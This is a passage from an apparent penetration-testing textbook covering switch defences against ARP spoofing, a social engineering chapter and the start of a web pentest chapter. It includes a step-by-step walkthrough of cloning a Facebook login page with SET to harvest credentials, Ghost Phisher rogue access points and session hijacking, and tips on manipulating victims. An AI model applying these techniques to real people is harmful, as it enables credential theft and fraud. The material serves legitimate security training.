reassembled all the Telnet packets for the entire conversation and is presenting it in a 
beautiful dialog format. In other words, we can see everything that happened during the
Telnet session between both devices. In this capture, the username and password were
recorded.

Preventing MITM attacks is critical on corporate networks as, every second, sensitive
information is being sent across the organization in many formats.

In the following section, we will learn about how to configure a Cisco IOS switch with DAI.

Dynamic ARP inspection
DAI is a security feature on switches that prevents invalid ARP packets from entering the
network. This technique is used to prevent both MITM attacks and ARP poisoning attacks
on a LAN.

In the following diagram, we can see an attacker attempting to perform an MITM attack on
a network between the PCs and the router:
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To prevent such attacks, you can use the following configuration on a Cisco IOS switch:

Enable DHCP snooping on the VLAN and configure the trusted port on all the1.
trunk ports and the interface that connects to the DHCP server on the network.
The following configurations are being made on a Cisco IOS switch to enable
DHCP snooping:

Switch(config)#ip dhcp snooping
Switch(config)#ip dhcp snooping database DHCPsnoop
Switch(config)#ip dhcp snooping vlan 2
Switch(config)#interface gigabitEthernet 0/1
Switch(config-if)#ip dhcp snooping trust

DHCP snooping is used to prevent a malicious user from connecting a rogue
DHCP server to a corporate network. The trust port is used to allow the DHCP
Offer and DHCP ACK packets onto the network, while the other ports (untrusted
ports) will only allow the DHCP Discover and DHCP Request packets.

Trunk ports are those that are able to carry multiple VLANs' traffic
simultaneously. Trunk ports are ports that are between one switch and
another, or one switch and the router.

Enable ARP inspection on the VLAN and configure all the trunk ports so that2.
they're trusted ports:

Switch(config)#ip arp inspection vlan 2
Switch(config)#interface gigabitEthernet 0/1
Switch(config-if)#ip arp inspection trust
Switch(config-if)#exit

Create a layer 2 access control list (ACL) on the switch to bind an IP address to a3.
MAC address:

Switch(config)#arp access-list ARP-Inspect
Switch(config-arp-nacl)#permit ip host 10.10.10.1 mac
000b.be56.eb02
Switch(config-arp-nacl)#exit

Map the layer 2 ACL to the VLAN. The following command will enable ARP4.
inspection on the switch:

Switch(config)#ip arp inspection filter ARP-Inspect vlan 2
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Now that we are able to implement DAI on a Cisco IOS switch, let's take a look at some
additional remediation techniques.

Sniffing remediation techniques
Detecting and mitigating a network sniffer can be a bit challenging. A network sniffer is
almost undetectable on a network as it passively listens for incoming network traffic. Using
secure protocols such as HTTPS, Secure File Transfer Protocol (SFTP), and Secure Shell
(SSH) will prevent a sniffer from seeing the original messages that were sent between
devices.

In addition, you can use Nmap to discover sniffers on a corporate network. To do that, use
the following command:

nmap -sV --script=sniffer-detect <target>

Ensure that you scan your entire subnet and any other networks owned by your
organization. Furthermore, IT professionals occasionally perform a physical network sweep
on a corporate network to discover whether there are any unauthorized devices that are
attached to the corporate LAN.

Summary
During the course of this chapter, we covered the essentials of ARP and how attackers
leverage vulnerabilities within ARP to perform ARP poisoning and MITM attacks on
networks. Additionally, we took a look at using Wireshark to help us analyze network
traffic so that we can quickly detect MITM and ARP attacks.

Now, you have the knowledge and skills to understand how ARP and MITM attacks can be
detected using Wireshark and how to implement security controls on your network
switches. I hope this chapter will prove helpful and informative for your studies and career.

In Chapter 13, Client-Side Attacks - Social Engineering, you'll learn about various social
engineering techniques.
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Questions
The following are some questions based on the topics we have covered in this chapter:

How can you prevent an attacker from reading your data?1.
What technique can an attacker perform to intercept a victim's network traffic?2.
What security control does a Cisco IOS switch support to prevent an MITM3.
attack?
Why should an IT professional not use Telnet?4.
How can you detect a sniffer on a network?5.

Further reading
Wireshark documentation: https:/ /www. wireshark. org/ docs/ 
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13
Client-Side Attacks - Social

Engineering
Many organizations tend to believe that having a single protection system on their network
perimeter is enough to safeguard their assets. Having a single network firewall is simply a
single-layer defense; there are many ways in which attacks can bypass the security systems
and controls within a corporate network. One technique that is commonly used is to
manipulate a person into doing something or revealing confidential information to the
attacker. This is known as social engineering.

As a penetration tester, it's important to understand the essential concepts, techniques, and
practical aspects of this topic as it will aid you in gaining user credentials, system and
network access in a corporate network, and other sensitive details about an employee and
the target network. During the course of this chapter, you will compare and contrast the
different forms of social engineering attacks while using various tools and techniques to
create a phishing website to gather victim credentials.

In this chapter, we will cover the following topics:

Social engineering basics
Types of social engineering
Defending against social engineering
Recon for social engineering (doxing)
Planning for each type of social engineering attack
Social engineering tools
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Technical requirements
The following is the technical requirement for this chapter:

Kali Linux

Basics of social engineering
Social engineering is a technique that an attacker or penetration tester uses to convince a
person into revealing sensitive (confidential) information. Social engineering can be
performed against the corporate help desk, administrative team, IT staff, executive team,
and so on. Any employee with access to valuable corporate information is definitely a
prime target; the challenge is to manipulate the victim into believing everything you are
saying and to gain their trust. Once the victim's trust has been obtained, the next stage is to
exploit it.

The following are the various ways in which social engineering can greatly impact an
organization:

Create a loss in revenue due to the exposure of confidential information, which
will lead to customers losing trust in the company.
Loss of privacy since corporate data is stolen and may be leaked online.
Lawsuits and arbitration can happen due to a breach of corporate policies.

The following are the pillars on which social engineering is built:

Human trust is an essential component of all social engineering attacks.
An attacker (social engineer) usually asks for some sort of help or assistance and
the victim tends to comply due to a sense of goodwill and sometimes due to
moral obligation.
Lack of security awareness training for employees makes the company an easier
target.

Technet24
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Implementing security policies is definitely good practice to ensure the safety of all
corporate assets and employees. However, security policies are not always effective in
preventing a social engineering attack. Let's imagine that a penetration tester calls at the
help desk of an organization, pretending to be one of the senior managers requesting to
change the password of their corporate user account. The help desk staff may not ask the
caller to provide further verification regarding their identity and may just perform the task
and provide the new password to the user account over the phone. The attacker can now
use these user credentials to gain access to email accounts and the remainder of the
corporate network.

There is usually no method for ensuring complete security from social engineering attacks
since no security software or hardware is able to completely defend against such attacks.

In the next section, we will discuss the different types of social engineering attacks.

Types of social engineering
Social engineering comes in many forms; the following are the different types of social
engineering:

Human-based social engineering: This type of social engineering gathers
confidential information from another person via interaction – in other words, by
conversing with an individual.
Computer-based social engineering: This type of social engineering is
performed using digital technologies such as computers.
Mobile-based social engineering: In mobile-based social engineering, the
attacker uses mobile applications to conduct attacks on the victim.
Phone-based social engineering: This technique involves a voice call to the
victim, impersonating someone who the victim may trust.
Social engineering through social media: This entails using social media
platforms to trick people into giving up sensitive details.

Let's look at each engineering process in more detail.
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Human-based social engineering
In human-based social engineering, the attacker pretends to be someone with authority.
The attacker sometimes poses as a legitimate end user by providing a false identity and
asking for confidential information. Additionally, the attacker can pretend to be an
important user in the organization, such as a director or senior member of staff, and request
a password change on the victim's user account. An easy form of impersonation that
usually gets a user to trust you quickly is posing as technical support. Imagine calling an
employee while you're pretending to be an IT tech and requesting the user to provide their
user account details. Usually, end users are not always aware of human-based threats in
cybersecurity and would quickly trust someone who is pretending to be technical support.

In the following sections, we will take a deep dive into the various types of human-based
social engineering techniques, including the following:

Eavesdropping
Shoulder surfing
Dumpster diving

Let's begin with eavesdropping.

Eavesdropping
Eavesdropping involves listening to conversations between people and reading their
messages without authorization. This form of attack includes the interception of any
transmission between users, such as audio, video, or even written communication.

Next, we'll discuss the concept of shoulder surfing.

Shoulder surfing
A lot of us are guilty of shoulder surfing. Have you ever walked past a fellow coworker
while they were entering data on a website or performing a task, hoping that you would be
able to see what they were doing?

Shoulder surfing is looking over someone's shoulder while they are using their computer.
This technique is used to gather sensitive information such as PINs, user IDs, and
passwords. Additionally, shoulder surfing can be done from longer ranges using devices
such as digital cameras.

In the next section, we will cover dumpster diving.
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Dumpster diving
Dumpster diving is a form of human-based social engineering where the attacker goes
through someone else's trash, looking for sensitive/confidential data. Victims insecurely
disposing of confidential items such as corporate documents, expired credit cards, utility
bills, and financial records are considered to be valuable to an attacker.

Next, we will cover computer-based social engineering attacks.

Computer-based social engineering
Most of us have encountered a form of computer-based social engineering in the past. In
computer-based social engineering, the attacker uses computing devices to assist them in
tricking a victim into revealing sensitive/confidential information.

There are two main forms of attack in this category:

Phishing
Spear phishing

The following are some other forms of computer-based social engineering:

Pop-up windows asking for user information
Spam emails
Chain letters
Hoax letters

We will only look at phishing and spear phishing in this chapter; however, you can
research the others in your spare time.

Let's begin by taking a look at phishing.

Phishing
Attackers usually send an illegitimate email containing false information while masking it
to look like a legitimate email from a trusted person or source. This technique is used to
trick a user into providing personal information or other sensitive details.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Client-Side Attacks - Social Engineering Chapter 13

[ 404 ]

Imagine receiving an email: the sender's name is your bank's name and the body of the
email has instructions informing you to click on a provided link to reset your online
banking credentials. Email messages are usually presented to us in Rich Text Format, which
provides very clean and easy-to-read text. This format hides the HTML code of the actual
message and displays plain text instead. Consequently, an attacker can easily mask the URL
to send the user to a malicious website. The recipient of the phishing email may not be able
to identify misleading or tampered-with details and click on the link.

Next, we will discuss spear phishing.

Spear phishing
In a regular phishing attack, the attacker sends hundreds of generic email messages to
random email addresses over the internet. With spear phishing, the attacker sends specially
crafted messages to a specific group of people in a company. Spear phishing attacks have
higher response rates compared to normal phishing attacks.

In the following section, we will cover mobile-based social engineering attacks.

Mobile-based social engineering
Mobile-based social engineering can include creating a malicious app for smartphones and
tablets with a very attractive feature that will lure users into downloading and installing
the app on their devices. To mask the true nature of the malicious app, attackers use names
similar to those of popular apps on the official app stores. Once the malicious app has been
installed on the victim's device, the app can retrieve and send the victim's user credentials
back to the attacker.

Another form of mobile-based social engineering is known as smishing. This type of attack
involves attackers sending illegitimate SMS messages to random people with a malicious
URL, asking the potential victim to respond by providing sensitive information.

Attackers sometimes send SMS messages to random people, claiming to be a representative
from their bank. The message contains a URL that looks very similar to the official domain
name of the legitimate bank. An unsuspecting person may click on the malicious link that
leads them to a fake login portal that will capture a victim's username and password and
even download a malicious payload onto the victim's mobile device.

In the following section, we will cover social engineering through social networking.
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Social engineering through social networking
Attackers usually attempt to create a fake profile and establish communication with people.
They pretend to be someone else while trying to trick a victim into revealing sensitive
details about themselves. Additionally, there are many cases where a person's account is
compromised and the attackers use the compromised account to communicate with the
people in the victim's friend/connection list.

Attacks often use compromised social networking user accounts to create a very large
network of friends/connections to gather information and sensitive details.

The following are some methods that are used to lure the employees of a target
organization:

Creating a fake user group
Using a false identity by using the names of employees from the target
organization
Getting a user to join a fake user group and then asking them to provide
credentials such as their date of birth, and their spouse's name

Social networking sites such as Facebook and LinkedIn are huge repositories of information
that are accessible to many people. It's important for a user to always be aware of the
information they are revealing because of the risk of information exploitation. By using the
information that's been found on social networking sites, such as posts that have been made
by the employees of organizations, attackers can perform targeted social engineering
attacks on the target organization.

In the next section, we will cover phone-based social engineering attacks.

Phone-based social engineering (vishing)
Vishing is a term that's used to describe a social engineering attack that happens over a
telephone. There are many cases where people have received calls from an attacker,
claiming that they are calling from the cable company or the local bank, and asking the 
victims to reveal sensitive information, such as their date of birth, driver's permit number,
banking details, and even user account credentials.

Usually, the attacker calls a target while posing as a person from a legitimate or authorized
organization asking for sensitive details. If this first approach doesn't work, the attacker
may call again, posing as a more important person or a technical support agent, in an
attempt to trick the user into providing sensitive information.
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Additionally, when attackers provide a false identity for themselves during a vishing
attack, they usually provide a reference to a legitimate organization that they are calling
from to build a level of trust with the potential victim. When the targets do not fall for the
attack, sometimes, threats such as "Your account will be disabled if you are not able to provide us
with your username and password" are used. Targets sometimes believe this and provide the
requested information.

Having completed this section, you now understand the characteristics of various types of
social engineering attacks. In the next section, we will cover the essentials of defending
against social engineering.

Defending against social engineering
The following are some general tactics that can be used to defend against common social
engineering attacks:

Protecting your perimeter security
Protecting the help desk and general staff
Detecting phishing emails
Additional countermeasures

In the next few sections, we will cover these topics in more detail.

Protecting your perimeter security
Attackers use methods such as impersonation and tailgating (following someone into a
secure area) to gain entry to an organization's compound. To prevent such attacks,
organizations should implement ID badges for all members of staff, token-based or
biometric systems for authentication, and continuous employee and security guard training
for security awareness.
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Protecting the help desk and general staff
Attackers implement eavesdropping, shoulder surfing, and impersonation to obtain
sensitive information from the organization's help desk and its general staff. Sometimes,
attacks can be subtle and persuasive; other times, they can be a bit intimidating and
aggressive in order to put pressure on an employee in the hope that they will reveal
confidential information. To protect staff from such attacks, organizations should ensure
that frequent employee training is done to raise awareness of such dangers and let them
know never to reveal any sensitive information.

Additional countermeasures
The following are additional measures that can reduce the threat of social engineering
attacks against an organization:

Implement a password policy that ensures that users change their passwords
periodically while avoiding reusing previous passwords. This will ensure that if
an employee's password is leaked via a social engineering attack, the password
in the attacker's hands could be rendered obsolete by the password policy.
Ensure that security guards escort all guests and visitors while on the compound.
Implement proper physical security access control systems. This includes
surveillance cameras, door locks, proper fencing, biometric security measures,
and more to keep unauthorized people out of restricted areas.
Implement the classification of information. The classification of information
allows only those with the required security clearance to view certain data and
have access to certain systems.
Perform background checks on new employees and implement a proper
termination process.
Implement endpoint security protection from reputable vendors. Endpoint
protection can be used to monitor and prevent cyberattacks, such as social
engineering attacks, phishing emails, and malicious downloads, against
employees' computers and laptops.
Enforce two-factor authentication when possible.

In the next section, we'll look at how to detect a phishing email.
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Detecting phishing emails
Email providers are always implementing new measures to fight spam emails and prevent
phishing messages from entering a user's mailbox. However, at times, some phishing
emails make it through to your mailbox. The following are some ways to identify a
phishing scam:

If the email is from a bank, an organization, or even a social networking site and
has a generic greeting message.
Phishing emails may contain malicious attachments.
Phishing emails sometimes contain grammatical errors and misspelled words.
The sender's email address does not look legitimate.
It contains links to spoofed websites or malicious domains.

The following is an email I received some years ago. The sender's name and email are
legitimate since it's someone I knew. However, the message seems to be different from all
the other previous emails I've received from them:

The last line contains a hyperlink that says take a look here. A person who does not know
about internet safety may click on the link and be directed to a malicious site and a payload
may be downloaded and executed, causing the computer to be compromised.

Let's take a closer look at the source details of the email:
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The source of the message shows us all the HTML code of the message. By looking
carefully, we will see that the attacker created a hyperlink using a shorter URL to mask the
real URL.

In this section, we talked about how a phishing email can be identified and how an attacker
uses URL obfuscation when phishing to prevent the target from seeing the true web URL.
In the next section, we will cover the essentials of doxing.

Recon for social engineering (doxing)
Doxing is when an attacker uses online and publicly available resources such as search
engines and social networking sites to gather private details about a specific person or
organization. The attacker can then use such information against the target.

During a doxing attack, the attacker can gather personal information about someone by
searching for the information that was posted by the target. Often, on social networking
websites, people post a lot of personal information about themselves, their families, and
work stuff. When asked whether they have any concerns about someone stealing their
information, the most common response is "I have nothing to hide" or "I will lose nothing by
posting a photo or a comment."
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What a lot of people don't realize is that a malicious person can take a screenshot of their
post and then doctor it for malicious purposes.

In the following section, we will learn how to plan for a social engineering attack.

Planning for each type of social engineering
attack
The primary objective of a social engineering attack is to either obtain confidential
information from the victim or manipulate them into performing an action to help them
compromise the target system or organization. However, to get started with any type of
attack, a lot of research must be done to find out how the target functions; an attacker needs
to find answers to questions such as the following:

Does the target organization outsource their IT services?
Does the target have a help desk?

In addition to conducting this research, when performing social engineering, you must be
able to strategize quickly and read the victim's emotions regarding how they react to you.

As a social engineer, it's good to develop the following skills:

Be creative during conversations
Have good communication skills, both in person and over the telephone
Good interpersonal skills
Have a talkative and friendly nature

These skills will help you be a people person, that is, someone who is friendly and engages
with others. This characteristic is beneficial as it will help you gauge the victim's mood and
responses better during live communication, whether that's over a telephone call or during
an in-person conversation. It's sort of a psychological skill set that allows you to read
someone and manipulate their behavior to get them to react in a certain way or reveal
confidential information.

Next, we will demonstrate how to use various social engineering tools.
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Social engineering tools
In this section, we will cover a couple of tools that are used to perform social engineering
attacks:

The Social-Engineer Toolkit (SET)
Ghost Phisher

Let's look at both of these in more detail.

Social-Engineer Toolkit
SET is an open source framework that's designed to perform various types of social 
engineering attacks and comes with the functionality to create custom attacks. Let's use SET
to create a fake Facebook page to capture user credentials.

To get started, on Kali Linux, click Applications | Social Engineering Tools | Social-
Engineer Toolkit:

When SET opens, you'll be presented with a few options. Choose option 1 to1.
access the social engineering attacks within SET:
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A list of different types of attacks will now be available. Since we are attempting2.
to trick a user into providing their login credentials, choose 2) Website Attack
Vectors:

Since our primary focus is to capture user credentials, choose 3) Credential3.
Harvester Attack Method:

SET provides preinstalled templates for social networking sites and allows you to4.
create a clone of a website. In this exercise, choose 2) Site Cloner:
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When a website is cloned, SET injects special code into the username and
password fields, which allows it to capture and display any login attempts in real
time.

Provide the IP address to your attacker machine. If you're on a public network,5.
set a public IP address. Remember that this address will be given to the victim.
Next, specify the website URL to be cloned by SET:
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Once the cloning process has completed successfully, create a URL with the IP6.
address of the attacker and send it to your victim. The URL should be in the
following format: https:/ /10. 10. 10.16/ . You can use other techniques to mask
the actual IP address and make it look legitimate:

Once the victim has entered their user credentials, SET will populate the username and
password on the SET interface, as shown in the preceding screenshot.

In the next section, we will demonstrate how to use Ghost Phisher.

Ghost Phisher
Another amazing social engineering tool is Ghost Phisher. It provides a number of easy-to-
use utilities for creating social engineering attacks very quickly with its graphical user
interface (GUI).

To get started with Ghost Phisher, follow these steps:

On Kali Linux, click Applications | Social Engineering Tools | Ghost Phisher.1.
Once the tool is open, you'll be presented with the options of the main tab, that is,2.
Fake Access Point:
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Once your wireless network adapter is connected to your Kali Linux machine, go
to the wireless interface in the menu and customize the Fake Access Point
settings as per your preferences.

Ghost Phisher allows you to create both a fake DNS server and a fake
HTTP server.

To create a rogue DHCP server, simply select the Fake DHCP Server tab and add3.
the necessary information, as shown in the following screenshot:
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The Session Hijacking tab allows you to perform an MITM attack and capture4.
live sessions:

Ensure that you set the default gateway of your network before starting the
session hijacking attack on Ghost Phisher.

Similar to arpspoof, there's a built-in ARP spoofing tool for quickly enabling an5.
MITM attack:
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Ghost Phisher provides many functions to a penetration tester through a simple and easy-
to-use interface; there's even an additional tab called Harvested Credentials that displays
all the usernames and passwords that were captured during any attacks that had been
launched.

Summary
During the course of this chapter, we discussed various forms of social engineering
techniques and methods of defending a person and organizations against them. We took a
look at the identifying characteristics of phishing emails and a couple of social engineering
tools that come preinstalled with Kali Linux. Now that you have completed this chapter,
you will be able to describe various forms of social engineering attacks, implement
countermeasures to reduce the risk of being a victim of such attacks, and perform a
computer-based attack to capture a victim's user credentials by mimicking a social
networking website.

I hope this chapter will prove beneficial regarding your studies and career.

In Chapter 14, Performing Website Penetration Testing, you'll learn about the basics of web
application penetration testing.

Questions
The following are some questions based on the topics we have covered in this chapter:

What is it called when an unauthorized person is listening to a conversation1.
between two parties?
A user has received an email that seems to be from their local bank. On opening2.
the email, the user finds a URL that says they should click the link to reset their
password. What type of attack is this?
A user has received an SMS message with a URL on their phone, supposedly3.
from a legitimate bank. When the user clicks the link, a website appears, asking
the user to log in. When the user logs in with their credentials, they are redirected
to their official bank's website. What type of attack is this?
What social engineering tools are available in Kali Linux?4.
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Further reading
Additional social engineering techniques can be found at https:/ /www. imperva.
com/learn/ application- security/ social- engineering- attack/ 

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://www.imperva.com/learn/application-security/social-engineering-attack/
https://technet24.ir
https://technet24.ir
https://technet24.ir


14
Performing Website Penetration

Testing
This chapter takes us away from the usual network devices that we're accustomed to
exploiting and instead focuses on checking for vulnerabilities in web applications and
servers.

Being a penetration tester is a pretty cool job as you are being paid to hack or break into
someone else's network and systems, but legally.

Being a penetration tester also means developing and expanding your skill set to various
domains; there will always be situations where you'll be required to perform a vulnerability
assessment or penetration test on a client's web server. This chapter will begin by teaching
you how to discover the underlying technologies that are being used on a target website
and how to discover other websites that are hosted on the same server. Furthermore, you
will learn how to perform multiple exploitations on a target web server by uploading and
executing a malicious file and leveraging Local File Inclusion (LFI) on a vulnerable server.

In this chapter, we will be covering the following topics:

Information gathering
Cryptography
File upload and file inclusion vulnerabilities
Exploiting file upload vulnerabilities
Exploiting code execution vulnerabilities
Exploiting LFI vulnerabilities
Preventing vulnerabilities

Let's dive in!
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Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: https:/ /www. kali. org/

OWASP Broken Web Applications Project: https:/ /sourceforge. net/
projects/ owaspbwa/ 

Information gathering
During the earlier parts of this book, specifically in Chapter 5, Passive Information Gathering,
and Chapter 6, Active Information Gathering, we discussed the importance of performing
extensive reconnaissance on a target, whether it's a single system, network, or even a
website. Each penetration test has a set of guidelines and stages. As you may recall, the
following are the stages of penetration testing:

Reconnaissance (information gathering)1.
Scanning (and enumeration)2.
Exploitation (gaining access)3.
Maintaining access4.
Covering tracks5.

Gathering as much information as possible about a target helps us to determine whether
the target has any security vulnerabilities and whether it's possible to exploit them. In the
following section, we will begin by learning how to discover technologies that are being
used on a website.

Discovering technologies that are being used on
a website
During the information-gathering phase of a website's penetration testing, it's important to
determine the underlying technologies running on the actual web server. Netcraft
(www.netcraft.com) is an internet security and data mining website that can assist us in
discovering web technologies on a web server for any given website.
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To get started with using Netcraft, follow these steps:

Head on over to https:/ /toolbar. netcraft. com/ site_ report.1.
On the website, enter the website's URL in the lookup field.2.

The following is the result that was retrieved for the www.google.com website:

Netcraft is able to provide a lot of details about the target website, including the
following:

Domain name
Public IP address
Domain registrar
Organization
Netblock owner
Nameservers
DNS admin contact
Web server types
Web server operating systems

Having retrieved the web server operating system and the running application,
you can now narrow down your scope to searching for vulnerabilities and
exploits that fit the target.

||||||||||||||||||||

||||||||||||||||||||

https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
https://toolbar.netcraft.com/site_report
http://www.google.com
https://technet24.ir
https://technet24.ir


Performing Website Penetration Testing Chapter 14

[ 422 ]

Additionally, you can use the Netcat utility to perform banner grabbing. This3.
technique is used to retrieve service versions of a running daemon or application
on a target device. Using the following command, we can establish a connection
between our machine (Kali Linux) and the target web server on port 80:

nc www.google.com 80

Next, it's time to retrieve the web server banner. Execute the following command:4.

GET / HTTP/1.1

Hit Enter twice and the web server banner will be displayed at the top. The5.
following is a snippet showing the server banner for the www.google.com
address, along with its web server type:

Please remember that using the Netcat utility will establish a session between your attacker
machine (Kali Linux) and the target. If the objective is to be stealthy (undetectable), this
method is not recommended unless you are spoofing your IP address and MAC addresses.

Optionally, this technique can be performed using Telnet. Simply replace
nc with telnet and you should get the same results on your Terminal
window.

In the next section, we'll dive deep into discovering websites that are hosted on the same
web server.
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Discovering websites on the same server
Over the years, organizations have moved away from hosting their company's website on
their own on-premises server to using an online, cloud-based solution. There are many
website hosting companies available in the e-commerce industry that provide solutions
such as website hosting.

Hosting providers don't usually give customers a dedicated server to host their website;
instead, a shared space is given. In other words, the server that is hosting your website is
also hosting other people's websites as well. This is a benefit for both the service provider
and the customer. The customer pays less as they are simply sharing the resources on a
server with others and the server provider doesn't need to spin up a dedicated server per
user, which would result in less power consumption and physical storage space in the data
center.

Due to service providers using this business and IT approach of providing shared space for
their customers, security is a concern. It's like using the computers in a school lab; each
person has their own user account but is still sharing a single system. If one user decides to
perform malicious actions on the computer, they may be able to retrieve sensitive data from
the other users' accounts/profiles.

In Chapter 5, Passive Information Gathering, Maltego was introduced so that we could
perform passive information gathering in relation to a target website. In this section, we are
going to use Maltego once more to help us discover websites that are hosted on the same
server.

Before continuing, please ensure that you are comfortable with using
Maltego to perform various information-gathering tasks. If you are
having difficulty remembering how to use the essential tools within
Maltego, please take a few minutes to review Chapter 5, Passive
Information Gathering.

Observe the following steps to discover websites on the same server:

Add a domain on Maltego. For this exercise, I have created a new domain using a1.
free web hosting provider. You can do the same or use your existing domain
name if you already own one.

You should not use someone else's domain without their knowledge and
consent. For this exercise, I have created and own the target domain only.
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Right-click on the Domain entity and choose All Transforms | To DNS Name –2.
NS (name server), as shown in the following screenshot:

Maltego will take a few seconds to retrieve the nameservers for the target domain
name:

The hosting provider for my custom domain is using two nameservers.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Performing Website Penetration Testing Chapter 14

[ 425 ]

Once the nameservers have been retrieved, it's time to check whether there are3.
other websites hosted on the same servers. Right-click on a nameserver and select
All Transforms | To Domains (Sharing this NS), as shown in the following
screenshot:

This process usually takes a minute or two to complete. Once finished, Maltego
will provide you with the results. As you can see in the following snippet, there
are multiple websites hosted on the same server as my domain:
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This technique is very useful when profiling a target organization's web server. Sometimes,
you may encounter an organization hosting their website and other internal sites on the
same server within the DMZ section of their network. Always attempt to perform
enumeration techniques to extract any sites on web servers. Sometimes, organizations host
their intranet site on the same web server as their public website. Gaining access to hidden
sites can provide fruitful information.

Disclaimer: To protect confidentiality, information related to the websites
has been blurred as it belongs to other parties.

In the next section, we will learn about the methods we can use to discover sensitive files on
a website.

Discovering sensitive files
To continue our information-gathering phase in website penetration testing, we'll attempt
to discover any sensitive files and directories on a target website. To perform this task, we
will be using DirBuster. DirBuster is a brute force web application that was designed with
the objective of revealing any sensitive directories and files on a target web server.

For this exercise, we'll be using the OWASP Broken Web Applications (BWA) Project
virtual machine as our target, and our Kali Linux machine as the attacker.

To discover sensitive files on a web server, follow these steps:

Open DirBuster by navigating to Applications | 03 – Web Application Analysis1.
| Web Crawlers & Directory Bruteforcing | DirBuster.
When DirBuster opens, enter the IP address of the OWASP BWA virtual machine2.
in the Target URL field. The URL should be in the
http://192.168.56.101:80/ format.
Optionally, you can increase the number of threads. Increasing the number of3.
threads will apply more computing power to the application and will, therefore,
speed up the process.
Click on Browse to add a wordlist that DirBuster will use to index and search on4.
the target website. If you click on List Info, a new window will appear,
providing a recommended wordlist.
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Uncheck the box next to Be Recursive.5.
Click on Start to begin the process.6.

The following screenshot shows the options that were used for this task:

Additionally, you can use a wordlist from another location, such as SecLists.

The file extensions option can be customized and is a good way of
finding hidden directories with files such as .bak and .cfg.
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While DirBuster is performing its brute force attack, the results window will appear. To
view all the current directories and files, click on the Results – List View tab, as shown in
the following screenshot:

The HTTP 200 Status code indicates that this was successful. In other words, the attacker
machine has successfully been able to communicate with a specific directory on the target
website/server.

Additionally, other tools such as Burp Suite and OWASP ZAP can be
used to discover hidden directories and sensitive files on a target web
server and website.

As seen in the previous snippet, the list of directories was found using DirBuster. Go
through each directory as they may contain sensitive files and information about the target.

In the next section, we will take a look at the importance of the robots.txt file.
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robots.txt
The robots.txt file contains a list of directories and files from a web server. The entries
within the robots.txt file are created by the website owner or web administrator and are
used to hide directory locations from web crawlers. In other words, it informs a search
engine's crawlers to not index a certain directory of a website.

Penetration testers add the robots.txt extension at the end of a domain name to access
and view its content. The following are the entries for a robots.txt file of a reputable
organization:
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As you can see, there are multiple directories. By simply combining each directory with the
domain name, you'll be able to access hidden areas on the target website. Let's use the
/administrator/ directory:

We now have access to the login page of the site's control panel. Using the other directories
may provide other fruitful information.

In the next section, we will take a deep dive into analyzing discovered files on a target
server.

Analyzing discovered files
Hidden directories usually contain sensitive files with important information.
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Observe the following steps to get started with analyzing discovered files:

Within the DirBuster results window, click on the Results – Tree View tab. This1.
will provide you with a tree structure that allows you to expand each folder:

By expanding the cgi-bin folder, we can see two files, as shown in the preceding
screenshot. Using the web browser, we can add the directory extension and the IP
address of the server to create a URL.

Entering the http://192.168.56.101/cgi-bin/ address, the web browser2.
shows us the files, last modification date, file size, and description:
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Additionally, we can use dirb to check for files and directories on a target web3.
server. dirb allows us to perform a quick scan if we use the following syntax:

dirb http://192.168.56.101

Optionally, you can choose to use a custom wordlist as part of your command:4.

dirb http://192.168.56.101 <wordlist>

The following screenshot is a quick scan that was performed by DirBuster. If you look
closely, you'll notice that DirBuster was able to discover hidden directories and files, along
with their sizes:

Performing such tasks can be a bit time-consuming and may take a few minutes, or even
hours, to complete.

In the following section, we will take a dive into learning about cryptography.

Cryptography
Cryptography is the technique of protecting data from unauthorized persons on a system.
This technique involves taking a message, passing it through an encryption cipher
(algorithm), and providing an output known as ciphertext (an encrypted message):
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Cryptography has the following objectives:

Confidentiality
Integrity
Authentication
Non-repudiation

However, web applications can use poorly designed encryption code within their
application to secure data being transferred between the end user's browser and the web
application, and between the web application and the database server.

Such security flaws can lead to an attacker stealing and/or modifying sensitive data on a
web or database server.

Next, we will learn about various web vulnerabilities and how to exploit file upload and
file inclusion vulnerabilities on a target web server.

File upload and file inclusion vulnerabilities
In this section, we will discuss various security vulnerabilities that allow an attacker to
perform file upload, code execution, and file inclusion attacks on a web server.

In the following sections, we will cover the fundamentals of the following topics:

Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Structured Query Language injection (SQLi)
Insecure deserialization
Common misconfigurations
Vulnerable components
Insecure direct object reference

Let's dive in!
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XSS
XSS attacks are carried out by exploiting vulnerabilities in a dynamically created web page.
This allows an attacker to inject client-side scripts into a web page being viewed by other
users. When an unsuspecting user visits a web page that contains XSS, the user's browser
will begin to execute the malicious script in the background while the victim is unaware:

An XSS attack usually focuses on redirecting a user to a malicious URL, data theft,
manipulation, displaying hidden IFRAMES, and showing pop-up windows on a victim's
web browser.

